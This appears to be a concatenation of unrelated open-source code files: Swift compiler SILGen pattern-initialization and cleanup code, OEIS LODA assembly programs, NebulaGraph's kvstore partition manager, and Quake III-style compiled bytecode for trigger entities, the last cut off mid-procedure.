EnumElementPatternInitialization(P->getElementDecl(), std::move(subInit), patternFailDest); return InitializationPtr(res); } InitializationPtr visitIsPattern(IsPattern *P) { InitializationPtr subInit; if (auto *subP = P->getSubPattern()) subInit = visit(subP); return InitializationPtr(new IsPatternInitialization(P, std::move(subInit), patternFailDest)); } InitializationPtr visitBoolPattern(BoolPattern *P) { return InitializationPtr(new BoolPatternInitialization(P, patternFailDest)); } InitializationPtr visitExprPattern(ExprPattern *P) { return InitializationPtr(new ExprPatternInitialization(P, patternFailDest)); } }; } // end anonymous namespace InitializationPtr SILGenFunction::emitInitializationForVarDecl(VarDecl *vd, bool forceImmutable) { // If this is a computed variable, we don't need to do anything here. // We'll generate the getter and setter when we see their FuncDecls. if (!vd->hasStorage()) return InitializationPtr(new BlackHoleInitialization()); if (vd->isDebuggerVar()) { DebuggerClient *DebugClient = SGM.SwiftModule->getDebugClient(); assert(DebugClient && "Debugger variables with no debugger client"); SILDebuggerClient *SILDebugClient = DebugClient->getAsSILDebuggerClient(); assert(SILDebugClient && "Debugger client doesn't support SIL"); SILValue SV = SILDebugClient->emitLValueForVariable(vd, B); VarLocs[vd] = SILGenFunction::VarLoc::get(SV); return InitializationPtr(new KnownAddressInitialization(SV)); } CanType varType = vd->getType()->getCanonicalType(); assert(!isa<InOutType>(varType) && "local variables should never be inout"); // If this is a 'let' initialization for a non-global, set up a // let binding, which stores the initialization value into VarLocs directly. if (forceImmutable && vd->getDeclContext()->isLocalContext() && !isa<ReferenceStorageType>(varType)) return InitializationPtr(new LetValueInitialization(vd, *this)); // If the variable has no initial value, emit a mark_uninitialized instruction // so that DI tracks and enforces validity of it. bool isUninitialized = vd->getParentPatternBinding() && !vd->getParentInitializer(); // If this is a global variable, initialize it without allocations or // cleanups. InitializationPtr Result; if (!vd->getDeclContext()->isLocalContext()) { auto *silG = SGM.getSILGlobalVariable(vd, NotForDefinition); B.createAllocGlobal(vd, silG); SILValue addr = B.createGlobalAddr(vd, silG); if (isUninitialized) addr = B.createMarkUninitializedVar(vd, addr); VarLocs[vd] = SILGenFunction::VarLoc::get(addr); Result = InitializationPtr(new KnownAddressInitialization(addr)); } else { Optional<MarkUninitializedInst::Kind> uninitKind; if (isUninitialized) { uninitKind = MarkUninitializedInst::Kind::Var; } Result = emitLocalVariableWithCleanup(vd, uninitKind); } // If we're initializing a weak or unowned variable, this requires a change in // type. if (isa<ReferenceStorageType>(varType)) Result = InitializationPtr(new ReferenceStorageInitialization(std::move(Result))); return Result; } void SILGenFunction::emitPatternBinding(PatternBindingDecl *PBD, unsigned pbdEntry) { auto &entry = PBD->getPatternList()[pbdEntry]; auto initialization = emitPatternBindingInitialization(entry.getPattern(), JumpDest::invalid()); // If an initial value expression was specified by the decl, emit it into // the initialization. Otherwise, mark it uninitialized for DI to resolve. if (auto *Init = entry.getInit()) { FullExpr Scope(Cleanups, CleanupLocation(Init)); emitExprInto(Init, initialization.get()); } else { initialization->finishUninitialized(*this); } } void SILGenFunction::visitPatternBindingDecl(PatternBindingDecl *PBD) { // Allocate the variables and build up an Initialization over their // allocated storage. for (unsigned i : indices(PBD->getPatternList())) { emitPatternBinding(PBD, i); } } void SILGenFunction::visitVarDecl(VarDecl *D) { // We handle emitting the variable storage when we see the pattern binding. // Here we just emit the behavior witness table, if any. if (D->hasBehavior()) SGM.emitPropertyBehavior(D); } /// Emit a check that returns 1 if the running OS version is in /// the specified version range and 0 otherwise. The returned SILValue /// (which has type Builtin.Int1) represents the result of this check. SILValue SILGenFunction::emitOSVersionRangeCheck(SILLocation loc, const VersionRange &range) { // Emit constants for the checked version range. clang::VersionTuple Vers = range.getLowerEndpoint(); unsigned major = Vers.getMajor(); unsigned minor = (Vers.getMinor().hasValue() ? Vers.getMinor().getValue() : 0); unsigned subminor = (Vers.getSubminor().hasValue() ? Vers.getSubminor().getValue() : 0); SILType wordType = SILType::getBuiltinWordType(getASTContext()); SILValue majorValue = B.createIntegerLiteral(loc, wordType, major); SILValue minorValue = B.createIntegerLiteral(loc, wordType, minor); SILValue subminorValue = B.createIntegerLiteral(loc, wordType, subminor); // Emit call to _stdlib_isOSVersionAtLeast(major, minor, patch) FuncDecl *versionQueryDecl = getASTContext().getIsOSVersionAtLeastDecl(nullptr); assert(versionQueryDecl); auto silDeclRef = SILDeclRef(versionQueryDecl); SILValue availabilityGTEFn = emitGlobalFunctionRef( loc, silDeclRef, getConstantInfo(silDeclRef)); SILValue args[] = {majorValue, minorValue, subminorValue}; return B.createApply(loc, availabilityGTEFn, args, false); } /// Emit the boolean test and/or pattern bindings indicated by the specified /// stmt condition. If the condition fails, control flow is transferred to the /// specified JumpDest. The insertion point is left in the block where the /// condition has matched and any bound variables are in scope. /// void SILGenFunction::emitStmtCondition(StmtCondition Cond, JumpDest FailDest, SILLocation loc, ProfileCounter NumTrueTaken, ProfileCounter NumFalseTaken) { assert(B.hasValidInsertionPoint() && "emitting condition at unreachable point"); for (const auto &elt : Cond) { SILLocation booleanTestLoc = loc; SILValue booleanTestValue; switch (elt.getKind()) { case StmtConditionElement::CK_PatternBinding: { InitializationPtr initialization = InitializationForPattern(*this, FailDest).visit(elt.getPattern()); // Emit the initial value into the initialization. FullExpr Scope(Cleanups, CleanupLocation(elt.getInitializer())); emitExprInto(elt.getInitializer(), initialization.get()); // Pattern bindings handle their own tests, we don't need a boolean test. continue; } case StmtConditionElement::CK_Boolean: { // Handle boolean conditions. auto *expr = elt.getBoolean(); // Evaluate the condition as an i1 value (guaranteed by Sema). FullExpr Scope(Cleanups, CleanupLocation(expr)); booleanTestValue = emitRValue(expr).forwardAsSingleValue(*this, expr); booleanTestLoc = expr; break; } case StmtConditionElement::CK_Availability: // Check the running OS version to determine whether it is in the range // specified by elt. VersionRange OSVersion = elt.getAvailability()->getAvailableRange(); assert(!OSVersion.isEmpty()); if (OSVersion.isAll()) { // If there's no check for the current platform, this condition is // trivially true. SILType i1 = SILType::getBuiltinIntegerType(1, getASTContext()); booleanTestValue = B.createIntegerLiteral(loc, i1, true); } else { booleanTestValue = emitOSVersionRangeCheck(loc, OSVersion); } break; } // Now that we have a boolean test as a Builtin.i1, emit the branch. assert(booleanTestValue->getType(). castTo<BuiltinIntegerType>()->isFixedWidth(1) && "Sema forces conditions to have Builtin.i1 type"); // Just branch on the condition. On failure, we unwind any active cleanups, // on success we fall through to a new block. SILBasicBlock *ContBB = createBasicBlock(); auto FailBB = Cleanups.emitBlockForCleanups(FailDest, loc); B.createCondBranch(booleanTestLoc, booleanTestValue, ContBB, FailBB, NumTrueTaken, NumFalseTaken); // Finally, emit the continue block and keep emitting the rest of the // condition. B.emitBlock(ContBB); } } InitializationPtr SILGenFunction::emitPatternBindingInitialization(Pattern *P, JumpDest failureDest) { return InitializationForPattern(*this, failureDest).visit(P); } /// Enter a cleanup to deallocate the given location. CleanupHandle SILGenFunction::enterDeallocStackCleanup(SILValue temp) { assert(temp->getType().isAddress() && "dealloc must have an address type"); Cleanups.pushCleanup<DeallocStackCleanup>(temp); return Cleanups.getTopCleanup(); } CleanupHandle SILGenFunction::enterDestroyCleanup(SILValue valueOrAddr) { Cleanups.pushCleanup<ReleaseValueCleanup>(valueOrAddr); return Cleanups.getTopCleanup(); } namespace { /// A cleanup that deinitializes an opaque existential container /// before a value has been stored into it, or after its value was taken. class DeinitExistentialCleanup: public Cleanup { SILValue existentialAddr; CanType concreteFormalType; ExistentialRepresentation repr; public: DeinitExistentialCleanup(SILValue existentialAddr, CanType concreteFormalType, ExistentialRepresentation repr) : existentialAddr(existentialAddr), concreteFormalType(concreteFormalType), repr(repr) {} void emit(SILGenFunction &SGF, CleanupLocation l) override { switch (repr) { case ExistentialRepresentation::None: case ExistentialRepresentation::Class: case ExistentialRepresentation::Metatype: llvm_unreachable("cannot cleanup existential"); case ExistentialRepresentation::Opaque: if (SGF.silConv.useLoweredAddresses()) { SGF.B.createDeinitExistentialAddr(l, existentialAddr); } else { SGF.B.createDeinitExistentialValue(l, existentialAddr); } break; case ExistentialRepresentation::Boxed: SGF.B.createDeallocExistentialBox(l, concreteFormalType, existentialAddr); break; } } void dump(SILGenFunction &) const override { #ifndef NDEBUG llvm::errs() << "DeinitExistentialCleanup\n" << "State:" << getState() << "\n" << "Value:" << existentialAddr << "\n"; #endif } }; } // end anonymous namespace /// Enter a cleanup to emit a DeinitExistentialAddr or DeinitExistentialBox /// of the specified value. CleanupHandle SILGenFunction::enterDeinitExistentialCleanup( SILValue valueOrAddr, CanType concreteFormalType, ExistentialRepresentation repr) { Cleanups.pushCleanup<DeinitExistentialCleanup>(valueOrAddr, concreteFormalType, repr); return Cleanups.getTopCleanup(); } void SILGenModule::emitExternalWitnessTable(ProtocolConformance *c) { auto root = c->getRootNormalConformance(); // Emit the witness table right now if we used it. if (usedConformances.count(root)) { getWitnessTable(c); return; } // Otherwise, remember it for later. delayedConformances.insert({root, {lastEmittedConformance}}); lastEmittedConformance = root; } void SILGenModule::emitExternalDefinition(Decl *d) { switch (d->getKind()) { case DeclKind::Func: { emitFunction(cast<FuncDecl>(d)); break; } case DeclKind::Constructor: { auto C = cast<ConstructorDecl>(d); // For factories, we don't need to emit a special thunk; the normal // foreign-to-native thunk is sufficient. if (C->isFactoryInit()) break; emitConstructor(C); break; } case DeclKind::Enum: case DeclKind::Struct: case DeclKind::Class: { // Emit witness tables. auto nom = cast<NominalTypeDecl>(d); for (auto c : nom->getLocalConformances(ConformanceLookupKind::All, nullptr, /*sorted=*/true)) { auto *proto = c->getProtocol(); if (Lowering::TypeConverter::protocolRequiresWitnessTable(proto) && isa<NormalProtocolConformance>(c) && c->isComplete()) emitExternalWitnessTable(c); } break; } case DeclKind::Protocol: // Nothing to do in SILGen for other external types. break; case DeclKind::Var: // Imported static vars are handled solely in IRGen. break; case DeclKind::IfConfig: case DeclKind::Extension: case DeclKind::PatternBinding: case DeclKind::EnumCase: case DeclKind::EnumElement: case DeclKind::TopLevelCode: case DeclKind::TypeAlias: case DeclKind::AssociatedType: case DeclKind::GenericTypeParam: case DeclKind::Param: case DeclKind::Import: case DeclKind::Subscript: case DeclKind::Destructor: case DeclKind::InfixOperator: case DeclKind::PrefixOperator: case DeclKind::PostfixOperator: case DeclKind::PrecedenceGroup: case DeclKind::Module: case DeclKind::MissingMember: llvm_unreachable("Not a valid external definition for SILGen"); } } /// Create a LocalVariableInitialization for the uninitialized var. InitializationPtr SILGenFunction::emitLocalVariableWithCleanup( VarDecl *vd, Optional<MarkUninitializedInst::Kind> kind, unsigned ArgNo) { return InitializationPtr( new LocalVariableInitialization(vd, kind, ArgNo, *this)); } /// Create an Initialization for an uninitialized temporary. std::unique_ptr<TemporaryInitialization> SILGenFunction::emitTemporary(SILLocation loc, const TypeLowering &tempTL) { SILValue addr = emitTemporaryAllocation(loc, tempTL.getLoweredType()); return useBufferAsTemporary(addr, tempTL); } std::unique_ptr<TemporaryInitialization> SILGenFunction::emitFormalAccessTemporary(SILLocation loc, const TypeLowering &tempTL) { SILValue addr = emitTemporaryAllocation(loc, tempTL.getLoweredType()); CleanupHandle cleanup = enterDormantFormalAccessTemporaryCleanup(addr, loc, tempTL); return std::unique_ptr<TemporaryInitialization>( new TemporaryInitialization(addr, cleanup)); } /// Create an Initialization for an uninitialized buffer. std::unique_ptr<TemporaryInitialization> SILGenFunction::useBufferAsTemporary(SILValue addr, const TypeLowering &tempTL) { CleanupHandle cleanup = enterDormantTemporaryCleanup(addr, tempTL); return std::unique_ptr<TemporaryInitialization>( new TemporaryInitialization(addr, cleanup)); } CleanupHandle SILGenFunction::enterDormantTemporaryCleanup(SILValue addr, const TypeLowering &tempTL) { if (tempTL.isTrivial()) return CleanupHandle::invalid(); Cleanups.pushCleanupInState<ReleaseValueCleanup>(CleanupState::Dormant, addr); return Cleanups.getCleanupsDepth(); } namespace { struct FormalAccessReleaseValueCleanup : Cleanup { FormalEvaluationContext::stable_iterator Depth; FormalAccessReleaseValueCleanup() : Depth() {} void setState(SILGenFunction &SGF, CleanupState newState) override { if (newState == CleanupState::Dead) { getEvaluation(SGF).setFinished(); } state = newState; } void emit(SILGenFunction &SGF, CleanupLocation l) override { getEvaluation(SGF).finish(SGF); } void dump(SILGenFunction &SGF) const override { #ifndef NDEBUG llvm::errs() << "FormalAccessReleaseValueCleanup " << "State:" << getState() << "\n" << "Value:" << getValue(SGF) << "\n"; #endif } OwnedFormalAccess &getEvaluation(SILGenFunction &SGF) const { auto &evaluation = *SGF.FormalEvalContext.find(Depth); assert(evaluation.getKind() == FormalAccess::Owned); return static_cast<OwnedFormalAccess &>(evaluation); } SILValue getValue(SILGenFunction &SGF) const { return getEvaluation(SGF).getValue(); } }; } // end anonymous namespace ManagedValue SILGenFunction::emitFormalAccessManagedBufferWithCleanup(SILLocation loc, SILValue addr) { assert(InFormalEvaluationScope && "Must be in formal evaluation scope"); auto &lowering = getTypeLowering(addr->getType()); if (lowering.isTrivial()) return ManagedValue::forUnmanaged(addr); auto &cleanup = Cleanups.pushCleanup<FormalAccessReleaseValueCleanup>(); CleanupHandle handle = Cleanups.getTopCleanup(); FormalEvalContext.push<OwnedFormalAccess>(loc, handle, addr); cleanup.Depth = FormalEvalContext.stable_begin(); return ManagedValue(addr, handle); } ManagedValue SILGenFunction::emitFormalAccessManagedRValueWithCleanup(SILLocation loc, SILValue value) { assert(InFormalEvaluationScope && "Must be in formal evaluation scope"); auto &lowering = getTypeLowering(value->getType()); if (lowering.isTrivial()) return ManagedValue::forUnmanaged(value); auto &cleanup = Cleanups.pushCleanup<FormalAccessReleaseValueCleanup>(); CleanupHandle handle = Cleanups.getTopCleanup(); FormalEvalContext.push<OwnedFormalAccess>(loc, handle, value); cleanup.Depth = FormalEvalContext.stable_begin(); return ManagedValue(value, handle); } CleanupHandle SILGenFunction::enterDormantFormalAccessTemporaryCleanup( SILValue addr, SILLocation loc, const TypeLowering &tempTL) { assert(InFormalEvaluationScope && "Must be in formal evaluation scope"); if (tempTL.isTrivial()) return CleanupHandle::invalid(); auto &cleanup = Cleanups.pushCleanup<FormalAccessReleaseValueCleanup>(); CleanupHandle handle = Cleanups.getTopCleanup(); Cleanups.setCleanupState(handle, CleanupState::Dormant); FormalEvalContext.push<OwnedFormalAccess>(loc, handle, addr); cleanup.Depth = FormalEvalContext.stable_begin(); return handle; } void SILGenFunction::destroyLocalVariable(SILLocation silLoc, VarDecl *vd) { assert(vd->getDeclContext()->isLocalContext() && "can't emit a local var for a non-local var decl"); assert(vd->hasStorage() && "can't emit storage for a computed variable"); assert(VarLocs.count(vd) && "var decl wasn't emitted?!"); auto loc = VarLocs[vd]; // For a heap variable, the box is responsible for the value. We just need // to give up our retain count on it. if (loc.box) { B.emitDestroyValueOperation(silLoc, loc.box); return; } // For 'let' bindings, we emit a release_value or destroy_addr, depending on // whether we have an address or not. SILValue Val = loc.value; if (!Val->getType().isAddress()) B.emitDestroyValueOperation(silLoc, Val); else B.createDestroyAddr(silLoc, Val); } void SILGenFunction::deallocateUninitializedLocalVariable(SILLocation silLoc, VarDecl *vd) { assert(vd->getDeclContext()->isLocalContext() && "can't emit a local var for a non-local var decl"); assert(vd->hasStorage() && "can't emit storage for a computed variable"); assert(VarLocs.count(vd) && "var decl wasn't emitted?!"); auto loc = VarLocs[vd]; // Ignore let values captured without a memory location. if (!loc.value->getType().isAddress()) return; assert(loc.box && "captured var should have been given a box"); B.createDeallocBox(silLoc, loc.box); }
; A254460: a(n) is the number of predecessors of the all-ones state of the binary cellular automaton on the n X n grid graph with edges joining diagonal neighbors as well as vertical and horizontal neighbors, whose local rule is f(i,j) = sum of the state at vertex (i,j) and the states at all of its neighbors mod 2. ; 1,8,1,1,512,1,1,32768,1,1,2097152,1,1,134217728,1,1,8589934592,1,1,549755813888,1,1,35184372088832,1,1,2251799813685248,1,1 add $0,2 mov $5,4 pow $5,$0 gcd $0,3 mul $0,2 lpb $0,1 mov $3,1 mod $5,$0 lpb $3,1 mov $2,$5 lpb $2,2 mov $0,2 mul $3,$2 lpe sub $0,1 lpe lpe mov $1,$5 div $1,56 mul $1,7 add $1,1
; A181668: Period 12: repeat [5,5,5,2,2,2,8,8,8,2,2,2]. ; 5,5,5,2,2,2,8,8,8,2,2,2,5,5,5,2,2,2,8,8,8,2,2,2,5,5,5,2,2,2,8,8,8,2,2,2,5,5,5,2,2,2,8,8,8,2,2,2,5,5,5,2,2,2,8,8,8,2,2,2,5,5,5,2,2,2,8,8,8,2,2,2,5,5,5,2,2,2,8,8,8,2,2,2,5,5,5,2,2,2,8,8,8,2,2,2,5,5,5,2,2,2,8,8,8,2,2,2 div $0,3 mov $1,$0 gcd $1,4 mul $1,2 mod $1,5 sub $1,2 mul $1,3 add $1,2
/* Copyright (c) 2018 vesoft inc. All rights reserved. * * This source code is licensed under Apache 2.0 License. */ #include "kvstore/PartManager.h" namespace nebula { namespace kvstore { meta::PartsMap MemPartManager::parts(const HostAddr&) { return partsMap_; } meta::ListenersMap MemPartManager::listeners(const HostAddr&) { return listenersMap_; } StatusOr<std::vector<meta::RemoteListenerInfo>> MemPartManager::listenerPeerExist( GraphSpaceID spaceId, PartitionID partId) { auto listeners = remoteListeners_[spaceId][partId]; if (listeners.empty()) { return Status::ListenerNotFound(); } return listeners; } StatusOr<meta::PartHosts> MemPartManager::partMeta(GraphSpaceID spaceId, PartitionID partId) { auto it = partsMap_.find(spaceId); if (it == partsMap_.end()) { return Status::Error("Space not found, spaceid: %d", spaceId); } auto partIt = it->second.find(partId); if (partIt == it->second.end()) { return Status::Error( "Part not found in MemPartManager, spaceid: %d, partId: %d ", spaceId, partId); } return partIt->second; } Status MemPartManager::partExist(const HostAddr&, GraphSpaceID spaceId, PartitionID partId) { auto it = partsMap_.find(spaceId); if (it != partsMap_.end()) { auto partIt = it->second.find(partId); if (partIt != it->second.end()) { return Status::OK(); } else { return Status::PartNotFound(); } } return Status::SpaceNotFound(); } MetaServerBasedPartManager::MetaServerBasedPartManager(HostAddr host, meta::MetaClient* client) { UNUSED(host); client_ = client; CHECK_NOTNULL(client_); client_->registerListener(this); } MetaServerBasedPartManager::~MetaServerBasedPartManager() { VLOG(3) << "~MetaServerBasedPartManager"; if (nullptr != client_) { client_->unRegisterListener(); client_ = nullptr; } } meta::PartsMap MetaServerBasedPartManager::parts(const HostAddr& hostAddr) { return client_->getPartsMapFromCache(hostAddr); } StatusOr<meta::PartHosts> MetaServerBasedPartManager::partMeta(GraphSpaceID spaceId, PartitionID partId) { return client_->getPartHostsFromCache(spaceId, partId); } Status MetaServerBasedPartManager::partExist(const HostAddr& host, GraphSpaceID spaceId, PartitionID partId) { return client_->checkPartExistInCache(host, spaceId, partId); } Status MetaServerBasedPartManager::spaceExist(const HostAddr& host, GraphSpaceID spaceId) { return client_->checkSpaceExistInCache(host, spaceId); } void MetaServerBasedPartManager::onSpaceAdded(GraphSpaceID spaceId, bool isListener) { if (handler_ != nullptr) { handler_->addSpace(spaceId, isListener); } else { VLOG(1) << "handler_ is nullptr!"; } } void MetaServerBasedPartManager::onSpaceRemoved(GraphSpaceID spaceId, bool isListener) { if (handler_ != nullptr) { handler_->removeSpace(spaceId, isListener); } else { VLOG(1) << "handler_ is nullptr!"; } } void MetaServerBasedPartManager::onSpaceOptionUpdated( GraphSpaceID spaceId, const std::unordered_map<std::string, std::string>& options) { static std::unordered_set<std::string> supportedOpt = {"disable_auto_compactions", "max_write_buffer_number", "write_buffer_size", "level0_file_num_compaction_trigger", "level0_slowdown_writes_trigger", "level0_stop_writes_trigger", "target_file_size_base", "target_file_size_multiplier", "max_bytes_for_level_base", "max_bytes_for_level_multiplier", "arena_block_size", "memtable_prefix_bloom_size_ratio", "memtable_whole_key_filtering", "memtable_huge_page_size", "max_successive_merges", "inplace_update_num_locks", "soft_pending_compaction_bytes_limit", "hard_pending_compaction_bytes_limit", "max_compaction_bytes", "ttl", "periodic_compaction_seconds", "max_sequential_skip_in_iterations", "paranoid_file_checks", "report_bg_io_stats", "sample_for_compression"}; static std::unordered_set<std::string> supportedDbOpt = {"max_total_wal_size", "delete_obsolete_files_period_micros", "max_background_jobs", "stats_dump_period_sec", "compaction_readahead_size", "writable_file_max_buffer_size", "bytes_per_sync", "wal_bytes_per_sync", "delayed_write_rate", "avoid_flush_during_shutdown", "max_open_files", "stats_persist_period_sec", "stats_history_buffer_size", "strict_bytes_per_sync"}; std::unordered_map<std::string, std::string> opt; std::unordered_map<std::string, std::string> dbOpt; for (const auto& option : options) { if (supportedOpt.find(option.first) != supportedOpt.end()) { opt[option.first] = option.second; } else if (supportedDbOpt.find(option.first) != supportedDbOpt.end()) { dbOpt[option.first] = option.second; } } if (handler_ != nullptr) { if (!opt.empty()) { handler_->updateSpaceOption(spaceId, opt, false); } if (!dbOpt.empty()) { handler_->updateSpaceOption(spaceId, dbOpt, true); } } else { VLOG(1) << "handler_ is nullptr!"; } } void MetaServerBasedPartManager::onPartAdded(const meta::PartHosts& partMeta) { if (handler_ != nullptr) { handler_->addPart(partMeta.spaceId_, partMeta.partId_, false, {}); } else { VLOG(1) << "handler_ is nullptr!"; } } void MetaServerBasedPartManager::onPartRemoved(GraphSpaceID spaceId, PartitionID partId) { if (handler_ != nullptr) { handler_->removePart(spaceId, partId); } else { VLOG(1) << "handler_ is nullptr!"; } } void MetaServerBasedPartManager::onPartUpdated(const meta::PartHosts& partMeta) { UNUSED(partMeta); } void MetaServerBasedPartManager::fetchLeaderInfo( std::unordered_map<GraphSpaceID, std::vector<meta::cpp2::LeaderInfo>>& leaderIds) { if (handler_ != nullptr) { handler_->allLeader(leaderIds); } else { VLOG(1) << "handler_ is nullptr!"; } } void MetaServerBasedPartManager::fetchDiskParts(SpaceDiskPartsMap& diskParts) { if (handler_ != nullptr) { handler_->fetchDiskParts(diskParts); } else { VLOG(1) << "handler_ is nullptr!"; } } meta::ListenersMap MetaServerBasedPartManager::listeners(const HostAddr& host) { auto ret = client_->getListenersByHostFromCache(host); if (ret.ok()) { return ret.value(); } return meta::ListenersMap(); } StatusOr<std::vector<meta::RemoteListenerInfo>> MetaServerBasedPartManager::listenerPeerExist( GraphSpaceID spaceId, PartitionID partId) { return client_->getListenerHostTypeBySpacePartType(spaceId, partId); } void MetaServerBasedPartManager::onListenerAdded(GraphSpaceID spaceId, PartitionID partId, const meta::ListenerHosts& listenerHost) { if (handler_ != nullptr) { handler_->addListener(spaceId, partId, listenerHost.type_, listenerHost.peers_); } else { VLOG(1) << "handler_ is nullptr!"; } } void MetaServerBasedPartManager::onListenerRemoved(GraphSpaceID spaceId, PartitionID partId, meta::cpp2::ListenerType type) { if (handler_ != nullptr) { handler_->removeListener(spaceId, partId, type); } else { VLOG(1) << "handler_ is nullptr!"; } } void MetaServerBasedPartManager::onCheckRemoteListeners( GraphSpaceID spaceId, PartitionID partId, const std::vector<HostAddr>& remoteListeners) { if (handler_ != nullptr) { handler_->checkRemoteListeners(spaceId, partId, remoteListeners); } else { VLOG(1) << "handler_ is nullptr!"; } } } // namespace kvstore } // namespace nebula
export InitTrigger code proc InitTrigger 12 8 ADDRFP4 0 ADDRFP4 0 INDIRP4 ASGNP4 ADDRFP4 0 INDIRP4 CNSTI4 116 ADDP4 ARGP4 ADDRGP4 vec3_origin ARGP4 ADDRLP4 0 ADDRGP4 VectorCompare CALLI4 ASGNI4 ADDRLP4 0 INDIRI4 CNSTI4 0 NEI4 $54 ADDRFP4 0 INDIRP4 CNSTI4 116 ADDP4 ARGP4 ADDRFP4 0 INDIRP4 CNSTI4 672 ADDP4 ARGP4 ADDRGP4 G_SetMovedir CALLV pop LABELV $54 ADDRFP4 0 INDIRP4 ARGP4 ADDRFP4 0 INDIRP4 CNSTI4 540 ADDP4 INDIRP4 ARGP4 ADDRGP4 trap_SetBrushModel CALLV pop ADDRFP4 0 INDIRP4 CNSTI4 460 ADDP4 CNSTI4 1073741824 ASGNI4 ADDRFP4 0 INDIRP4 CNSTI4 424 ADDP4 CNSTI4 1 ASGNI4 LABELV $53 endproc InitTrigger 12 8 export multi_wait proc multi_wait 0 0 ADDRFP4 0 INDIRP4 CNSTI4 684 ADDP4 CNSTI4 0 ASGNI4 LABELV $56 endproc multi_wait 0 0 export multi_trigger proc multi_trigger 12 8 ADDRFP4 0 ADDRFP4 0 INDIRP4 ASGNP4 ADDRFP4 4 ADDRFP4 4 INDIRP4 ASGNP4 ADDRFP4 0 INDIRP4 CNSTI4 768 ADDP4 ADDRFP4 4 INDIRP4 ASGNP4 ADDRFP4 0 INDIRP4 CNSTI4 684 ADDP4 INDIRI4 CNSTI4 0 EQI4 $58 ADDRGP4 $57 JUMPV LABELV $58 ADDRFP4 4 INDIRP4 CNSTI4 516 ADDP4 INDIRP4 CVPU4 4 CNSTU4 0 EQU4 $60 ADDRLP4 0 CNSTI4 1 ASGNI4 ADDRFP4 0 INDIRP4 CNSTI4 528 ADDP4 INDIRI4 ADDRLP4 0 INDIRI4 BANDI4 CNSTI4 0 EQI4 $62 ADDRFP4 4 INDIRP4 CNSTI4 516 ADDP4 INDIRP4 CNSTI4 616 ADDP4 INDIRI4 ADDRLP4 0 INDIRI4 EQI4 $62 ADDRGP4 $57 JUMPV LABELV $62 ADDRLP4 4 CNSTI4 2 ASGNI4 ADDRFP4 0 INDIRP4 CNSTI4 528 ADDP4 INDIRI4 ADDRLP4 4 INDIRI4 BANDI4 CNSTI4 0 EQI4 $64 ADDRFP4 4 INDIRP4 CNSTI4 516 ADDP4 INDIRP4 CNSTI4 616 ADDP4 INDIRI4 ADDRLP4 4 INDIRI4 EQI4 $64 ADDRGP4 $57 JUMPV LABELV $64 LABELV $60 ADDRFP4 0 INDIRP4 ARGP4 ADDRFP4 0 INDIRP4 CNSTI4 768 ADDP4 INDIRP4 ARGP4 ADDRGP4 G_UseTargets CALLV pop ADDRFP4 0 INDIRP4 CNSTI4 800 ADDP4 INDIRF4 CNSTF4 0 LEF4 $66 ADDRFP4 0 INDIRP4 CNSTI4 688 ADDP4 ADDRGP4 multi_wait ASGNP4 ADDRLP4 4 ADDRGP4 qk_rand CALLI4 ASGNI4 ADDRFP4 0 INDIRP4 CNSTI4 684 ADDP4 ADDRGP4 level+32 INDIRI4 CVIF4 4 CNSTF4 1148846080 ADDRFP4 0 INDIRP4 CNSTI4 800 ADDP4 INDIRF4 ADDRFP4 0 INDIRP4 CNSTI4 804 ADDP4 INDIRF4 CNSTF4 1073741824 ADDRLP4 4 INDIRI4 CNSTI4 32767 BANDI4 CVIF4 4 CNSTF4 1191181824 DIVF4 CNSTF4 1056964608 SUBF4 MULF4 MULF4 ADDF4 MULF4 ADDF4 CVFI4 4 ASGNI4 ADDRGP4 $67 JUMPV LABELV $66 ADDRFP4 0 INDIRP4 CNSTI4 700 ADDP4 CNSTP4 0 ASGNP4 ADDRFP4 0 INDIRP4 CNSTI4 684 ADDP4 ADDRGP4 level+32 INDIRI4 CNSTI4 100 ADDI4 ASGNI4 ADDRFP4 0 INDIRP4 CNSTI4 688 ADDP4 ADDRGP4 G_FreeEntity ASGNP4 LABELV $67 LABELV $57 endproc multi_trigger 12 8 export Use_Multi proc Use_Multi 0 8 ADDRFP4 0 INDIRP4 ARGP4 ADDRFP4 8 INDIRP4 ARGP4 ADDRGP4 multi_trigger CALLV pop LABELV $70 endproc Use_Multi 0 8 export Touch_Multi proc Touch_Multi 0 8 ADDRFP4 4 INDIRP4 CNSTI4 516 ADDP4 INDIRP4 CVPU4 4 CNSTU4 0 NEU4 $72 ADDRGP4 $71 JUMPV LABELV $72 ADDRFP4 0 INDIRP4 ARGP4 ADDRFP4 4 INDIRP4 ARGP4 ADDRGP4 multi_trigger CALLV pop LABELV $71 endproc Touch_Multi 0 8 export SP_trigger_multiple proc SP_trigger_multiple 12 12 ADDRFP4 0 ADDRFP4 0 INDIRP4 ASGNP4 ADDRGP4 $75 ARGP4 ADDRGP4 $76 ARGP4 ADDRFP4 0 INDIRP4 CNSTI4 800 ADDP4 ARGP4 ADDRGP4 G_SpawnFloat CALLI4 pop ADDRGP4 $77 ARGP4 ADDRGP4 $78 ARGP4 ADDRFP4 0 INDIRP4 CNSTI4 804 ADDP4 ARGP4 ADDRGP4 G_SpawnFloat CALLI4 pop ADDRLP4 4 ADDRFP4 0 INDIRP4 CNSTI4 800 ADDP4 INDIRF4 ASGNF4 ADDRFP4 0 INDIRP4 CNSTI4 804 ADDP4 INDIRF4 ADDRLP4 4 INDIRF4 LTF4 $79 ADDRLP4 4 INDIRF4 CNSTF4 0 LTF4 $79 ADDRFP4 0 INDIRP4 CNSTI4 804 ADDP4 ADDRFP4 0 INDIRP4 CNSTI4 800 ADDP4 INDIRF4 CNSTF4 1120403456 SUBF4 ASGNF4 ADDRGP4 $81 ARGP4 ADDRGP4 G_Printf CALLV pop LABELV $79 ADDRFP4 0 INDIRP4 CNSTI4 700 ADDP4 ADDRGP4 Touch_Multi ASGNP4 ADDRFP4 0 INDIRP4 CNSTI4 704 ADDP4 ADDRGP4 Use_Multi ASGNP4 ADDRFP4 0 INDIRP4 ARGP4 ADDRGP4 InitTrigger CALLV pop ADDRFP4 0 INDIRP4 ARGP4 ADDRGP4 trap_LinkEntity CALLV pop LABELV $74 endproc SP_trigger_multiple 12 12 export trigger_always_think proc trigger_always_think 4 8 ADDRFP4 0 ADDRFP4 0 INDIRP4 ASGNP4 ADDRFP4 0 INDIRP4 ARGP4 ADDRFP4 0 INDIRP4 ARGP4 ADDRGP4 G_UseTargets CALLV pop ADDRFP4 0 INDIRP4 ARGP4 ADDRGP4 G_FreeEntity CALLV pop LABELV $82 endproc trigger_always_think 4 8 export SP_trigger_always proc SP_trigger_always 0 0 ADDRFP4 0 INDIRP4 CNSTI4 684 ADDP4 ADDRGP4 level+32 INDIRI4 CNSTI4 300 